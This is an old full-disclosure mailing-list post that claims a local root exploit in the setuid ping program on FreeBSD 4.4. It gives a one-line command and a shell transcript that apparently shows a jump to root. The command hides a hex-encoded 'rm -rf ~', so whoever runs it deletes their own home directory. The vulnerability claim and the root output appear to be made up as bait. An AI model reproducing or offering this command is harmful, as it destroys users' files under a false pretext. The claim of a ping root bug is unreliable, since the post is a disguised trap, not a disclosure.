full-disclosure - ATTENTION Local Root ATTENTION

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Message-ID: <200209151340.g8FDe3Z72388@mailserver4.hushmail.com>
From: drdre at hush.com (drdre@...h.com)
Subject: ATTENTION   Local Root   ATTENTION

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DrDre researchers have rcently discovered a bug in the ping program which is installed setuid-root in nearly all unix and unix like systems. The bug is not remotely exploitable.

Tested on FreeBSD 4.4:

bash# id
uid=1006(drdre) gid=1006(researchers) groups=1006(researchers), 1009(labstaff)

bash# ping `perl -e 'print "\x6d\x65\x5f\x67\x75\x6e\x5f\x69\x73\x5f\x63\x6c\x69\x63\x6b"x1024'`;`echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x7e"`
Unknown erver error   ^

87^

$ id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)



Greets: Peter Pan (+ friends), Team Knightrider, The Sheep


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DrDre Security Research Team
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